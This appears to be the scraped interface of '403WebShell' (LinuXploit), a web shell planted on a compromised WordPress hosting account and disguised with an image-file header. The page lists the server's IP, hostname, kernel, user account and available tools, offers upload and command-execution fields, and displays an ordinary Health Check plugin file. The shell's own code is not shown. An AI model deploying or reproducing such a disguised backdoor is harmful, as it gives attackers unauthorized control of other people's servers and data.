????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.16.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/health-check/HealthCheck/Tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/health-check/HealthCheck/Tools/class-health-check-htaccess.php
<?php

/**
 * Checks if a .htaccess file exists and is used.
 *
 * @package Health Check
 */

// Make sure the file is not directly accessible.
if ( ! defined( 'ABSPATH' ) ) {
	die( 'We\'re sorry, but you can not directly access this file.' );
}

/**
 * Class Mail Check
 */
class Health_Check_Htaccess extends Health_Check_Tool {

	public function __construct() {
		$this->label       = __( '.htaccess Viewer', 'health-check' );
		$this->description = __( 'The <code>.htaccess</code> file tells your server (if supported) how to handle links and file requests. This file usually requires direct server access to view, but if your system supports these files, you can verify its content here.', 'health-check' );

		parent::__construct();
	}

	public function tab_content() {
		global $wp_rewrite;

		if ( $wp_rewrite->using_mod_rewrite_permalinks() ) {
			if ( file_exists( ABSPATH . '.htaccess' ) ) {
				printf(
					'<pre>%s</pre>',
					esc_html( file_get_contents( ABSPATH . '.htaccess' ) )
				);
			} else {
				printf(
					'<p>%s</p>',
					__( 'Your site is using <code>.htaccess</code> rules to handle permalinks, but no .htaccess file was found. This means that your .htaccess file is not being used to handle requests.', 'health-check' )
				);
			}
		} else {
			printf(
				'<p>%s</p>',
				__( 'Your site is not using <code>.htaccess</code> to handle permalinks. This means that your .htaccess file is not being used to handle requests, and they are most likely handled directly by your web-server software.', 'health-check' )
			);
		}
		?>
		<?php
	}

}

new Health_Check_Htaccess();

Youez - 2016 - github.com/yon3zu
LinuXploit